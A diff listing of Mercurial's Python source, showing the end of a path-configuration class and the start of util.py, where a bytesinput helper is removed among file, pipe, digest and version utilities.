1778 1784 If ``name`` is not defined, we require that the location be a) a local
1779 1785 filesystem path with a .hg directory or b) a URL. If not,
1780 1786 ``ValueError`` is raised.
1781 1787 """
1782 1788 if not rawloc:
1783 1789 raise ValueError('rawloc must be defined')
1784 1790
1785 1791 # Locations may define branches via syntax <base>#<branch>.
1786 1792 u = util.url(rawloc)
1787 1793 branch = None
1788 1794 if u.fragment:
1789 1795 branch = u.fragment
1790 1796 u.fragment = None
1791 1797
1792 1798 self.url = u
1793 1799 self.branch = branch
1794 1800
1795 1801 self.name = name
1796 1802 self.rawloc = rawloc
1797 1803 self.loc = '%s' % u
1798 1804
1799 1805 # When given a raw location but not a symbolic name, validate the
1800 1806 # location is valid.
1801 1807 if not name and not u.scheme and not self._isvalidlocalpath(self.loc):
1802 1808 raise ValueError('location is not a URL or path to a local '
1803 1809 'repo: %s' % rawloc)
1804 1810
1805 1811 suboptions = suboptions or {}
1806 1812
1807 1813 # Now process the sub-options. If a sub-option is registered, its
1808 1814 # attribute will always be present. The value will be None if there
1809 1815 # was no valid sub-option.
1810 1816 for suboption, (attr, func) in _pathsuboptions.iteritems():
1811 1817 if suboption not in suboptions:
1812 1818 setattr(self, attr, None)
1813 1819 continue
1814 1820
1815 1821 value = func(ui, self, suboptions[suboption])
1816 1822 setattr(self, attr, value)
1817 1823
1818 1824 def _isvalidlocalpath(self, path):
1819 1825 """Returns True if the given path is a potentially valid repository.
1820 1826 This is its own function so that extensions can change the definition of
1821 1827 'valid' in this case (like when pulling from a git repo into a hg
1822 1828 one)."""
1823 1829 return os.path.isdir(os.path.join(path, '.hg'))
1824 1830
1825 1831 @property
1826 1832 def suboptions(self):
1827 1833 """Return sub-options and their values for this path.
1828 1834
1829 1835 This is intended to be used for presentation purposes.
1830 1836 """
1831 1837 d = {}
1832 1838 for subopt, (attr, _func) in _pathsuboptions.iteritems():
1833 1839 value = getattr(self, attr)
1834 1840 if value is not None:
1835 1841 d[subopt] = value
1836 1842 return d
1837 1843
1838 1844 # we instantiate one globally shared progress bar to avoid
1839 1845 # competing progress bars when multiple UI objects get created
1840 1846 _progresssingleton = None
1841 1847
1842 1848 def getprogbar(ui):
1843 1849 global _progresssingleton
1844 1850 if _progresssingleton is None:
1845 1851 # passing 'ui' object to the singleton is fishy,
1846 1852 # this is how the extension used to work but feel free to rework it.
1847 1853 _progresssingleton = progress.progbar(ui)
1848 1854 return _progresssingleton
1849 1855
1850 1856 def haveprogbar():
1851 1857 return _progresssingleton is not None
@@ -1,4063 +1,4055
1 1 # util.py - Mercurial utility functions and platform specific implementations
2 2 #
3 3 # Copyright 2005 K. Thananchayan <thananck@yahoo.com>
4 4 # Copyright 2005-2007 Matt Mackall <mpm@selenic.com>
5 5 # Copyright 2006 Vadim Gelfer <vadim.gelfer@gmail.com>
6 6 #
7 7 # This software may be used and distributed according to the terms of the
8 8 # GNU General Public License version 2 or any later version.
9 9
10 10 """Mercurial utility functions and platform specific implementations.
11 11
12 12 This contains helper routines that are independent of the SCM core and
13 13 hide platform-specific details from the core.
14 14 """
15 15
16 16 from __future__ import absolute_import, print_function
17 17
18 18 import abc
19 19 import bz2
20 20 import codecs
21 21 import collections
22 22 import contextlib
23 23 import errno
24 24 import gc
25 25 import hashlib
26 26 import imp
27 27 import io
28 28 import itertools
29 29 import mmap
30 30 import os
31 31 import platform as pyplatform
32 32 import re as remod
33 33 import shutil
34 34 import signal
35 35 import socket
36 36 import stat
37 37 import string
38 38 import subprocess
39 39 import sys
40 40 import tempfile
41 41 import textwrap
42 42 import time
43 43 import traceback
44 44 import warnings
45 45 import zlib
46 46
47 47 from . import (
48 48 encoding,
49 49 error,
50 50 i18n,
51 51 node as nodemod,
52 52 policy,
53 53 pycompat,
54 54 urllibcompat,
55 55 )
56 56 from .utils import dateutil
57 57
58 58 base85 = policy.importmod(r'base85')
59 59 osutil = policy.importmod(r'osutil')
60 60 parsers = policy.importmod(r'parsers')
61 61
62 62 b85decode = base85.b85decode
63 63 b85encode = base85.b85encode
64 64
65 65 cookielib = pycompat.cookielib
66 66 empty = pycompat.empty
67 67 httplib = pycompat.httplib
68 68 pickle = pycompat.pickle
69 69 queue = pycompat.queue
70 70 socketserver = pycompat.socketserver
71 71 stderr = pycompat.stderr
72 72 stdin = pycompat.stdin
73 73 stdout = pycompat.stdout
74 74 stringio = pycompat.stringio
75 75 xmlrpclib = pycompat.xmlrpclib
76 76
77 77 httpserver = urllibcompat.httpserver
78 78 urlerr = urllibcompat.urlerr
79 79 urlreq = urllibcompat.urlreq
80 80
81 81 # workaround for win32mbcs
82 82 _filenamebytestr = pycompat.bytestr
83 83
84 84 def isatty(fp):
85 85 try:
86 86 return fp.isatty()
87 87 except AttributeError:
88 88 return False
89 89
90 90 # glibc determines buffering on first write to stdout - if we replace a TTY
91 91 # destined stdout with a pipe destined stdout (e.g. pager), we want line
92 92 # buffering
93 93 if isatty(stdout):
94 94 stdout = os.fdopen(stdout.fileno(), pycompat.sysstr('wb'), 1)
95 95
96 96 if pycompat.iswindows:
97 97 from . import windows as platform
98 98 stdout = platform.winstdout(stdout)
99 99 else:
100 100 from . import posix as platform
101 101
102 102 _ = i18n._
103 103
104 104 bindunixsocket = platform.bindunixsocket
105 105 cachestat = platform.cachestat
106 106 checkexec = platform.checkexec
107 107 checklink = platform.checklink
108 108 copymode = platform.copymode
109 109 executablepath = platform.executablepath
110 110 expandglobs = platform.expandglobs
111 111 explainexit = platform.explainexit
112 112 findexe = platform.findexe
113 113 getfsmountpoint = platform.getfsmountpoint
114 114 getfstype = platform.getfstype
115 115 gethgcmd = platform.gethgcmd
116 116 getuser = platform.getuser
117 117 getpid = os.getpid
118 118 groupmembers = platform.groupmembers
119 119 groupname = platform.groupname
120 120 hidewindow = platform.hidewindow
121 121 isexec = platform.isexec
122 122 isowner = platform.isowner
123 123 listdir = osutil.listdir
124 124 localpath = platform.localpath
125 125 lookupreg = platform.lookupreg
126 126 makedir = platform.makedir
127 127 nlinks = platform.nlinks
128 128 normpath = platform.normpath
129 129 normcase = platform.normcase
130 130 normcasespec = platform.normcasespec
131 131 normcasefallback = platform.normcasefallback
132 132 openhardlinks = platform.openhardlinks
133 133 oslink = platform.oslink
134 134 parsepatchoutput = platform.parsepatchoutput
135 135 pconvert = platform.pconvert
136 136 poll = platform.poll
137 137 popen = platform.popen
138 138 posixfile = platform.posixfile
139 139 quotecommand = platform.quotecommand
140 140 readpipe = platform.readpipe
141 141 rename = platform.rename
142 142 removedirs = platform.removedirs
143 143 samedevice = platform.samedevice
144 144 samefile = platform.samefile
145 145 samestat = platform.samestat
146 146 setbinary = platform.setbinary
147 147 setflags = platform.setflags
148 148 setsignalhandler = platform.setsignalhandler
149 149 shellquote = platform.shellquote
150 150 shellsplit = platform.shellsplit
151 151 spawndetached = platform.spawndetached
152 152 split = platform.split
153 153 sshargs = platform.sshargs
154 154 statfiles = getattr(osutil, 'statfiles', platform.statfiles)
155 155 statisexec = platform.statisexec
156 156 statislink = platform.statislink
157 157 testpid = platform.testpid
158 158 umask = platform.umask
159 159 unlink = platform.unlink
160 160 username = platform.username
161 161
162 162 try:
163 163 recvfds = osutil.recvfds
164 164 except AttributeError:
165 165 pass
166 166 try:
167 167 setprocname = osutil.setprocname
168 168 except AttributeError:
169 169 pass
170 170 try:
171 171 unblocksignal = osutil.unblocksignal
172 172 except AttributeError:
173 173 pass
174 174
175 175 # Python compatibility
176 176
177 177 _notset = object()
178 178
179 179 def safehasattr(thing, attr):
180 180 return getattr(thing, attr, _notset) is not _notset
181 181
182 182 def _rapply(f, xs):
183 183 if xs is None:
184 184 # assume None means non-value of optional data
185 185 return xs
186 186 if isinstance(xs, (list, set, tuple)):
187 187 return type(xs)(_rapply(f, x) for x in xs)
188 188 if isinstance(xs, dict):
189 189 return type(xs)((_rapply(f, k), _rapply(f, v)) for k, v in xs.items())
190 190 return f(xs)
191 191
192 192 def rapply(f, xs):
193 193 """Apply function recursively to every item preserving the data structure
194 194
195 195 >>> def f(x):
196 196 ... return 'f(%s)' % x
197 197 >>> rapply(f, None) is None
198 198 True
199 199 >>> rapply(f, 'a')
200 200 'f(a)'
201 201 >>> rapply(f, {'a'}) == {'f(a)'}
202 202 True
203 203 >>> rapply(f, ['a', 'b', None, {'c': 'd'}, []])
204 204 ['f(a)', 'f(b)', None, {'f(c)': 'f(d)'}, []]
205 205
206 206 >>> xs = [object()]
207 207 >>> rapply(pycompat.identity, xs) is xs
208 208 True
209 209 """
210 210 if f is pycompat.identity:
211 211 # fast path mainly for py2
212 212 return xs
213 213 return _rapply(f, xs)
214 214
215 def bytesinput(fin, fout, *args, **kwargs):
216 sin, sout = sys.stdin, sys.stdout
217 try:
218 sys.stdin, sys.stdout = encoding.strio(fin), encoding.strio(fout)
219 return encoding.strtolocal(pycompat.rawinput(*args, **kwargs))
220 finally:
221 sys.stdin, sys.stdout = sin, sout
222
223 215 def bitsfrom(container):
224 216 bits = 0
225 217 for bit in container:
226 218 bits |= bit
227 219 return bits
228 220
229 221 # python 2.6 still have deprecation warning enabled by default. We do not want
230 222 # to display anything to standard user so detect if we are running test and
231 223 # only use python deprecation warning in this case.
232 224 _dowarn = bool(encoding.environ.get('HGEMITWARNINGS'))
233 225 if _dowarn:
234 226 # explicitly unfilter our warning for python 2.7
235 227 #
236 228 # The option of setting PYTHONWARNINGS in the test runner was investigated.
237 229 # However, module name set through PYTHONWARNINGS was exactly matched, so
238 230 # we cannot set 'mercurial' and have it match eg: 'mercurial.scmutil'. This
239 231 # makes the whole PYTHONWARNINGS thing useless for our usecase.
240 232 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'mercurial')
241 233 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext')
242 234 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext3rd')
243 235 if _dowarn and pycompat.ispy3:
244 236 # silence warning emitted by passing user string to re.sub()
245 237 warnings.filterwarnings(r'ignore', r'bad escape', DeprecationWarning,
246 238 r'mercurial')
247 239 warnings.filterwarnings(r'ignore', r'invalid escape sequence',
248 240 DeprecationWarning, r'mercurial')
249 241
250 242 def nouideprecwarn(msg, version, stacklevel=1):
251 243 """Issue an python native deprecation warning
252 244
253 245 This is a noop outside of tests, use 'ui.deprecwarn' when possible.
254 246 """
255 247 if _dowarn:
256 248 msg += ("\n(compatibility will be dropped after Mercurial-%s,"
257 249 " update your code.)") % version
258 250 warnings.warn(pycompat.sysstr(msg), DeprecationWarning, stacklevel + 1)
259 251
260 252 DIGESTS = {
261 253 'md5': hashlib.md5,
262 254 'sha1': hashlib.sha1,
263 255 'sha512': hashlib.sha512,
264 256 }
265 257 # List of digest types from strongest to weakest
266 258 DIGESTS_BY_STRENGTH = ['sha512', 'sha1', 'md5']
267 259
268 260 for k in DIGESTS_BY_STRENGTH:
269 261 assert k in DIGESTS
270 262
271 263 class digester(object):
272 264 """helper to compute digests.
273 265
274 266 This helper can be used to compute one or more digests given their name.
275 267
276 268 >>> d = digester([b'md5', b'sha1'])
277 269 >>> d.update(b'foo')
278 270 >>> [k for k in sorted(d)]
279 271 ['md5', 'sha1']
280 272 >>> d[b'md5']
281 273 'acbd18db4cc2f85cedef654fccc4a4d8'
282 274 >>> d[b'sha1']
283 275 '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33'
284 276 >>> digester.preferred([b'md5', b'sha1'])
285 277 'sha1'
286 278 """
287 279
288 280 def __init__(self, digests, s=''):
289 281 self._hashes = {}
290 282 for k in digests:
291 283 if k not in DIGESTS:
292 284 raise Abort(_('unknown digest type: %s') % k)
293 285 self._hashes[k] = DIGESTS[k]()
294 286 if s:
295 287 self.update(s)
296 288
297 289 def update(self, data):
298 290 for h in self._hashes.values():
299 291 h.update(data)
300 292
301 293 def __getitem__(self, key):
302 294 if key not in DIGESTS:
303 295 raise Abort(_('unknown digest type: %s') % k)
304 296 return nodemod.hex(self._hashes[key].digest())
305 297
306 298 def __iter__(self):
307 299 return iter(self._hashes)
308 300
309 301 @staticmethod
310 302 def preferred(supported):
311 303 """returns the strongest digest type in both supported and DIGESTS."""
312 304
313 305 for k in DIGESTS_BY_STRENGTH:
314 306 if k in supported:
315 307 return k
316 308 return None
317 309
318 310 class digestchecker(object):
319 311 """file handle wrapper that additionally checks content against a given
320 312 size and digests.
321 313
322 314 d = digestchecker(fh, size, {'md5': '...'})
323 315
324 316 When multiple digests are given, all of them are validated.
325 317 """
326 318
327 319 def __init__(self, fh, size, digests):
328 320 self._fh = fh
329 321 self._size = size
330 322 self._got = 0
331 323 self._digests = dict(digests)
332 324 self._digester = digester(self._digests.keys())
333 325
334 326 def read(self, length=-1):
335 327 content = self._fh.read(length)
336 328 self._digester.update(content)
337 329 self._got += len(content)
338 330 return content
339 331
340 332 def validate(self):
341 333 if self._size != self._got:
342 334 raise Abort(_('size mismatch: expected %d, got %d') %
343 335 (self._size, self._got))
344 336 for k, v in self._digests.items():
345 337 if v != self._digester[k]:
346 338 # i18n: first parameter is a digest name
347 339 raise Abort(_('%s mismatch: expected %s, got %s') %
348 340 (k, v, self._digester[k]))
349 341
350 342 try:
351 343 buffer = buffer
352 344 except NameError:
353 345 def buffer(sliceable, offset=0, length=None):
354 346 if length is not None:
355 347 return memoryview(sliceable)[offset:offset + length]
356 348 return memoryview(sliceable)[offset:]
357 349
358 350 closefds = pycompat.isposix
359 351
360 352 _chunksize = 4096
361 353
362 354 class bufferedinputpipe(object):
363 355 """a manually buffered input pipe
364 356
365 357 Python will not let us use buffered IO and lazy reading with 'polling' at
366 358 the same time. We cannot probe the buffer state and select will not detect
367 359 that data are ready to read if they are already buffered.
368 360
369 361 This class let us work around that by implementing its own buffering
370 362 (allowing efficient readline) while offering a way to know if the buffer is
371 363 empty from the output (allowing collaboration of the buffer with polling).
372 364
373 365 This class lives in the 'util' module because it makes use of the 'os'
374 366 module from the python stdlib.
375 367 """
376 368 def __new__(cls, fh):
377 369 # If we receive a fileobjectproxy, we need to use a variation of this
378 370 # class that notifies observers about activity.
379 371 if isinstance(fh, fileobjectproxy):
380 372 cls = observedbufferedinputpipe
381 373
382 374 return super(bufferedinputpipe, cls).__new__(cls)
383 375
384 376 def __init__(self, input):
385 377 self._input = input
386 378 self._buffer = []
387 379 self._eof = False
388 380 self._lenbuf = 0
389 381
390 382 @property
391 383 def hasbuffer(self):
392 384 """True is any data is currently buffered
393 385
394 386 This will be used externally a pre-step for polling IO. If there is
395 387 already data then no polling should be set in place."""
396 388 return bool(self._buffer)
397 389
398 390 @property
399 391 def closed(self):
400 392 return self._input.closed
401 393
402 394 def fileno(self):
403 395 return self._input.fileno()
404 396
405 397 def close(self):
406 398 return self._input.close()
407 399
408 400 def read(self, size):
409 401 while (not self._eof) and (self._lenbuf < size):
410 402 self._fillbuffer()
411 403 return self._frombuffer(size)
412 404
413 405 def readline(self, *args, **kwargs):
414 406 if 1 < len(self._buffer):
415 407 # this should not happen because both read and readline end with a
416 408 # _frombuffer call that collapse it.
417 409 self._buffer = [''.join(self._buffer)]
418 410 self._lenbuf = len(self._buffer[0])
419 411 lfi = -1
420 412 if self._buffer:
421 413 lfi = self._buffer[-1].find('\n')
422 414 while (not self._eof) and lfi < 0:
423 415 self._fillbuffer()
424 416 if self._buffer:
425 417 lfi = self._buffer[-1].find('\n')
426 418 size = lfi + 1
427 419 if lfi < 0: # end of file
428 420 size = self._lenbuf
429 421 elif 1 < len(self._buffer):
430 422 # we need to take previous chunks into account
431 423 size += self._lenbuf - len(self._buffer[-1])
432 424 return self._frombuffer(size)
433 425
434 426 def _frombuffer(self, size):
435 427 """return at most 'size' data from the buffer
436 428
437 429 The data are removed from the buffer."""
438 430 if size == 0 or not self._buffer:
439 431 return ''
440 432 buf = self._buffer[0]
441 433 if 1 < len(self._buffer):
442 434 buf = ''.join(self._buffer)
443 435
444 436 data = buf[:size]
445 437 buf = buf[len(data):]
446 438 if buf:
447 439 self._buffer = [buf]
448 440 self._lenbuf = len(buf)
449 441 else:
450 442 self._buffer = []
451 443 self._lenbuf = 0
452 444 return data
453 445
454 446 def _fillbuffer(self):
455 447 """read data to the buffer"""
456 448 data = os.read(self._input.fileno(), _chunksize)
457 449 if not data:
458 450 self._eof = True
459 451 else:
460 452 self._lenbuf += len(data)
461 453 self._buffer.append(data)
462 454
463 455 return data
464 456
465 457 def mmapread(fp):
466 458 try:
467 459 fd = getattr(fp, 'fileno', lambda: fp)()
468 460 return mmap.mmap(fd, 0, access=mmap.ACCESS_READ)
469 461 except ValueError:
470 462 # Empty files cannot be mmapped, but mmapread should still work. Check
471 463 # if the file is empty, and if so, return an empty buffer.
472 464 if os.fstat(fd).st_size == 0:
473 465 return ''
474 466 raise
475 467
476 468 def popen2(cmd, env=None, newlines=False):
477 469 # Setting bufsize to -1 lets the system decide the buffer size.
478 470 # The default for bufsize is 0, meaning unbuffered. This leads to
479 471 # poor performance on Mac OS X: http://bugs.python.org/issue4194
480 472 p = subprocess.Popen(cmd, shell=True, bufsize=-1,
481 473 close_fds=closefds,
482 474 stdin=subprocess.PIPE, stdout=subprocess.PIPE,
483 475 universal_newlines=newlines,
484 476 env=env)
485 477 return p.stdin, p.stdout
486 478
487 479 def popen3(cmd, env=None, newlines=False):
488 480 stdin, stdout, stderr, p = popen4(cmd, env, newlines)
489 481 return stdin, stdout, stderr
490 482
491 483 def popen4(cmd, env=None, newlines=False, bufsize=-1):
492 484 p = subprocess.Popen(cmd, shell=True, bufsize=bufsize,
493 485 close_fds=closefds,
494 486 stdin=subprocess.PIPE, stdout=subprocess.PIPE,
495 487 stderr=subprocess.PIPE,
496 488 universal_newlines=newlines,
497 489 env=env)
498 490 return p.stdin, p.stdout, p.stderr, p
499 491
500 492 class fileobjectproxy(object):
501 493 """A proxy around file objects that tells a watcher when events occur.
502 494
503 495 This type is intended to only be used for testing purposes. Think hard
504 496 before using it in important code.
505 497 """
506 498 __slots__ = (
507 499 r'_orig',
508 500 r'_observer',
509 501 )
510 502
511 503 def __init__(self, fh, observer):
512 504 object.__setattr__(self, r'_orig', fh)
513 505 object.__setattr__(self, r'_observer', observer)
514 506
515 507 def __getattribute__(self, name):
516 508 ours = {
517 509 r'_observer',
518 510
519 511 # IOBase
520 512 r'close',
521 513 # closed if a property
522 514 r'fileno',
523 515 r'flush',
524 516 r'isatty',
525 517 r'readable',
526 518 r'readline',
527 519 r'readlines',
528 520 r'seek',
529 521 r'seekable',
530 522 r'tell',
531 523 r'truncate',
532 524 r'writable',
533 525 r'writelines',
534 526 # RawIOBase
535 527 r'read',
536 528 r'readall',
537 529 r'readinto',
538 530 r'write',
539 531 # BufferedIOBase
540 532 # raw is a property
541 533 r'detach',
542 534 # read defined above
543 535 r'read1',
544 536 # readinto defined above
545 537 # write defined above
546 538 }
547 539
548 540 # We only observe some methods.
549 541 if name in ours:
550 542 return object.__getattribute__(self, name)
551 543
552 544 return getattr(object.__getattribute__(self, r'_orig'), name)
553 545
554 546 def __delattr__(self, name):
555 547 return delattr(object.__getattribute__(self, r'_orig'), name)
556 548
557 549 def __setattr__(self, name, value):
558 550 return setattr(object.__getattribute__(self, r'_orig'), name, value)
559 551
560 552 def __iter__(self):
561 553 return object.__getattribute__(self, r'_orig').__iter__()
562 554
563 555 def _observedcall(self, name, *args, **kwargs):
564 556 # Call the original object.
565 557 orig = object.__getattribute__(self, r'_orig')
566 558 res = getattr(orig, name)(*args, **kwargs)
567 559
568 560 # Call a method on the observer of the same name with arguments
569 561 # so it can react, log, etc.
570 562 observer = object.__getattribute__(self, r'_observer')
571 563 fn = getattr(observer, name, None)
572 564 if fn:
573 565 fn(res, *args, **kwargs)
574 566
575 567 return res
576 568
577 569 def close(self, *args, **kwargs):
578 570 return object.__getattribute__(self, r'_observedcall')(
579 571 r'close', *args, **kwargs)
580 572
581 573 def fileno(self, *args, **kwargs):
582 574 return object.__getattribute__(self, r'_observedcall')(
583 575 r'fileno', *args, **kwargs)
584 576
585 577 def flush(self, *args, **kwargs):
586 578 return object.__getattribute__(self, r'_observedcall')(
587 579 r'flush', *args, **kwargs)
588 580
589 581 def isatty(self, *args, **kwargs):
590 582 return object.__getattribute__(self, r'_observedcall')(
591 583 r'isatty', *args, **kwargs)
592 584
593 585 def readable(self, *args, **kwargs):
594 586 return object.__getattribute__(self, r'_observedcall')(
595 587 r'readable', *args, **kwargs)
596 588
597 589 def readline(self, *args, **kwargs):
598 590 return object.__getattribute__(self, r'_observedcall')(
599 591 r'readline', *args, **kwargs)
600 592
601 593 def readlines(self, *args, **kwargs):
602 594 return object.__getattribute__(self, r'_observedcall')(
603 595 r'readlines', *args, **kwargs)
604 596
605 597 def seek(self, *args, **kwargs):
606 598 return object.__getattribute__(self, r'_observedcall')(
607 599 r'seek', *args, **kwargs)
608 600
609 601 def seekable(self, *args, **kwargs):
610 602 return object.__getattribute__(self, r'_observedcall')(
611 603 r'seekable', *args, **kwargs)
612 604
613 605 def tell(self, *args, **kwargs):
614 606 return object.__getattribute__(self, r'_observedcall')(
615 607 r'tell', *args, **kwargs)
616 608
617 609 def truncate(self, *args, **kwargs):
618 610 return object.__getattribute__(self, r'_observedcall')(
619 611 r'truncate', *args, **kwargs)
620 612
621 613 def writable(self, *args, **kwargs):
622 614 return object.__getattribute__(self, r'_observedcall')(
623 615 r'writable', *args, **kwargs)
624 616
625 617 def writelines(self, *args, **kwargs):
626 618 return object.__getattribute__(self, r'_observedcall')(
627 619 r'writelines', *args, **kwargs)
628 620
629 621 def read(self, *args, **kwargs):
630 622 return object.__getattribute__(self, r'_observedcall')(
631 623 r'read', *args, **kwargs)
632 624
633 625 def readall(self, *args, **kwargs):
634 626 return object.__getattribute__(self, r'_observedcall')(
635 627 r'readall', *args, **kwargs)
636 628
637 629 def readinto(self, *args, **kwargs):
638 630 return object.__getattribute__(self, r'_observedcall')(
639 631 r'readinto', *args, **kwargs)
640 632
641 633 def write(self, *args, **kwargs):
642 634 return object.__getattribute__(self, r'_observedcall')(
643 635 r'write', *args, **kwargs)
644 636
645 637 def detach(self, *args, **kwargs):
646 638 return object.__getattribute__(self, r'_observedcall')(
647 639 r'detach', *args, **kwargs)
648 640
649 641 def read1(self, *args, **kwargs):
650 642 return object.__getattribute__(self, r'_observedcall')(
651 643 r'read1', *args, **kwargs)
652 644
653 645 class observedbufferedinputpipe(bufferedinputpipe):
654 646 """A variation of bufferedinputpipe that is aware of fileobjectproxy.
655 647
656 648 ``bufferedinputpipe`` makes low-level calls to ``os.read()`` that
657 649 bypass ``fileobjectproxy``. Because of this, we need to make
658 650 ``bufferedinputpipe`` aware of these operations.
659 651
660 652 This variation of ``bufferedinputpipe`` can notify observers about
661 653 ``os.read()`` events. It also re-publishes other events, such as
662 654 ``read()`` and ``readline()``.
663 655 """
664 656 def _fillbuffer(self):
665 657 res = super(observedbufferedinputpipe, self)._fillbuffer()
666 658
667 659 fn = getattr(self._input._observer, r'osread', None)
668 660 if fn:
669 661 fn(res, _chunksize)
670 662
671 663 return res
672 664
673 665 # We use different observer methods because the operation isn't
674 666 # performed on the actual file object but on us.
675 667 def read(self, size):
676 668 res = super(observedbufferedinputpipe, self).read(size)
677 669
678 670 fn = getattr(self._input._observer, r'bufferedread', None)
679 671 if fn:
680 672 fn(res, size)
681 673
682 674 return res
683 675
684 676 def readline(self, *args, **kwargs):
685 677 res = super(observedbufferedinputpipe, self).readline(*args, **kwargs)
686 678
687 679 fn = getattr(self._input._observer, r'bufferedreadline', None)
688 680 if fn:
689 681 fn(res)
690 682
691 683 return res
692 684
693 685 DATA_ESCAPE_MAP = {pycompat.bytechr(i): br'\x%02x' % i for i in range(256)}
694 686 DATA_ESCAPE_MAP.update({
695 687 b'\\': b'\\\\',
696 688 b'\r': br'\r',
697 689 b'\n': br'\n',
698 690 })
699 691 DATA_ESCAPE_RE = remod.compile(br'[\x00-\x08\x0a-\x1f\\\x7f-\xff]')
700 692
701 693 def escapedata(s):
702 694 if isinstance(s, bytearray):
703 695 s = bytes(s)
704 696
705 697 return DATA_ESCAPE_RE.sub(lambda m: DATA_ESCAPE_MAP[m.group(0)], s)
706 698
707 699 class fileobjectobserver(object):
708 700 """Logs file object activity."""
709 701 def __init__(self, fh, name, reads=True, writes=True, logdata=False):
710 702 self.fh = fh
711 703 self.name = name
712 704 self.logdata = logdata
713 705 self.reads = reads
714 706 self.writes = writes
715 707
716 708 def _writedata(self, data):
717 709 if not self.logdata:
718 710 self.fh.write('\n')
719 711 return
720 712
721 713 # Simple case writes all data on a single line.
722 714 if b'\n' not in data:
723 715 self.fh.write(': %s\n' % escapedata(data))
724 716 return
725 717
726 718 # Data with newlines is written to multiple lines.
727 719 self.fh.write(':\n')
728 720 lines = data.splitlines(True)
729 721 for line in lines:
730 722 self.fh.write('%s> %s\n' % (self.name, escapedata(line)))
731 723
732 724 def read(self, res, size=-1):
733 725 if not self.reads:
734 726 return
735 727 # Python 3 can return None from reads at EOF instead of empty strings.
736 728 if res is None:
737 729 res = ''
738 730
739 731 self.fh.write('%s> read(%d) -> %d' % (self.name, size, len(res)))
740 732 self._writedata(res)
741 733
742 734 def readline(self, res, limit=-1):
743 735 if not self.reads:
744 736 return
745 737
746 738 self.fh.write('%s> readline() -> %d' % (self.name, len(res)))
747 739 self._writedata(res)
748 740
749 741 def readinto(self, res, dest):
750 742 if not self.reads:
751 743 return
752 744
753 745 self.fh.write('%s> readinto(%d) -> %r' % (self.name, len(dest),
754 746 res))
755 747 data = dest[0:res] if res is not None else b''
756 748 self._writedata(data)
757 749
758 750 def write(self, res, data):
759 751 if not self.writes:
760 752 return
761 753
762 754 # Python 2 returns None from some write() calls. Python 3 (reasonably)
763 755 # returns the integer bytes written.
764 756 if res is None and data:
765 757 res = len(data)
766 758
767 759 self.fh.write('%s> write(%d) -> %r' % (self.name, len(data), res))
768 760 self._writedata(data)
769 761
770 762 def flush(self, res):
771 763 if not self.writes:
772 764 return
773 765
774 766 self.fh.write('%s> flush() -> %r\n' % (self.name, res))
775 767
776 768 # For observedbufferedinputpipe.
777 769 def bufferedread(self, res, size):
778 770 self.fh.write('%s> bufferedread(%d) -> %d' % (
779 771 self.name, size, len(res)))
780 772 self._writedata(res)
781 773
782 774 def bufferedreadline(self, res):
783 775 self.fh.write('%s> bufferedreadline() -> %d' % (self.name, len(res)))
784 776 self._writedata(res)
785 777
786 778 def makeloggingfileobject(logh, fh, name, reads=True, writes=True,
787 779 logdata=False):
788 780 """Turn a file object into a logging file object."""
789 781
790 782 observer = fileobjectobserver(logh, name, reads=reads, writes=writes,
791 783 logdata=logdata)
792 784 return fileobjectproxy(fh, observer)
793 785
794 786 def version():
795 787 """Return version information if available."""
796 788 try:
797 789 from . import __version__
798 790 return __version__.version
799 791 except ImportError:
800 792 return 'unknown'
801 793
802 794 def versiontuple(v=None, n=4):
803 795 """Parses a Mercurial version string into an N-tuple.
804 796
805 797 The version string to be parsed is specified with the ``v`` argument.
806 798 If it isn't defined, the current Mercurial version string will be parsed.
807 799
808 800 ``n`` can be 2, 3, or 4. Here is how some version strings map to
809 801 returned values:
810 802
811 803 >>> v = b'3.6.1+190-df9b73d2d444'
812 804 >>> versiontuple(v, 2)
813 805 (3, 6)
814 806 >>> versiontuple(v, 3)
815 807 (3, 6, 1)
816 808 >>> versiontuple(v, 4)
817 809 (3, 6, 1, '190-df9b73d2d444')
818 810
819 811 >>> versiontuple(b'3.6.1+190-df9b73d2d444+20151118')
820 812 (3, 6, 1, '190-df9b73d2d444+20151118')
821 813
822 814 >>> v = b'3.6'
823 815 >>> versiontuple(v, 2)
824 816 (3, 6)
825 817 >>> versiontuple(v, 3)
826 818 (3, 6, None)
827 819 >>> versiontuple(v, 4)
828 820 (3, 6, None, None)
829 821
830 822 >>> v = b'3.9-rc'
831 823 >>> versiontuple(v, 2)
832 824 (3, 9)
833 825 >>> versiontuple(v, 3)
834 826 (3, 9, None)
835 827 >>> versiontuple(v, 4)
836 828 (3, 9, None, 'rc')
837 829
838 830 >>> v = b'3.9-rc+2-02a8fea4289b'
839 831 >>> versiontuple(v, 2)
840 832 (3, 9)
841 833 >>> versiontuple(v, 3)
842 834 (3, 9, None)
843 835 >>> versiontuple(v, 4)
844 836 (3, 9, None, 'rc+2-02a8fea4289b')
845 837 """
846 838 if not v:
847 839 v = version()
848 840 parts = remod.split('[\+-]', v, 1)
849 841 if len(parts) == 1:
850 842 vparts, extra = parts[0], None
851 843 else:
852 844 vparts, extra = parts
853 845
854 846 vints = []
855 847 for i in vparts.split('.'):
856 848 try:
857 849 vints.append(int(i))
858 850 except ValueError:
859 851 break
860 852 # (3, 6) -> (3, 6, None)
861 853 while len(vints) < 3:
862 854 vints.append(None)
863 855
864 856 if n == 2:
865 857 return (vints[0], vints[1])
866 858 if n == 3:
867 859 return (vints[0], vints[1], vints[2])
868 860 if n == 4:
869 861 return (vints[0], vints[1], vints[2], extra)
870 862
871 863 def cachefunc(func):
872 864 '''cache the result of function calls'''
873 865 # XXX doesn't handle keywords args
874 866 if func.__code__.co_argcount == 0:
875 867 cache = []
876 868 def f():
877 869 if len(cache) == 0:
878 870 cache.append(func())
879 871 return cache[0]
880 872 return f
881 873 cache = {}
882 874 if func.__code__.co_argcount == 1:
883 875 # we gain a small amount of time because
884 876 # we don't need to pack/unpack the list
885 877 def f(arg):
886 878 if arg not in cache:
887 879 cache[arg] = func(arg)
888 880 return cache[arg]
889 881 else:
890 882 def f(*args):
891 883 if args not in cache:
892 884 cache[args] = func(*args)
893 885 return cache[args]
894 886
895 887 return f
896 888
897 889 class cow(object):
898 890 """helper class to make copy-on-write easier
899 891
900 892 Call preparewrite before doing any writes.
901 893 """
902 894
903 895 def preparewrite(self):
904 896 """call this before writes, return self or a copied new object"""
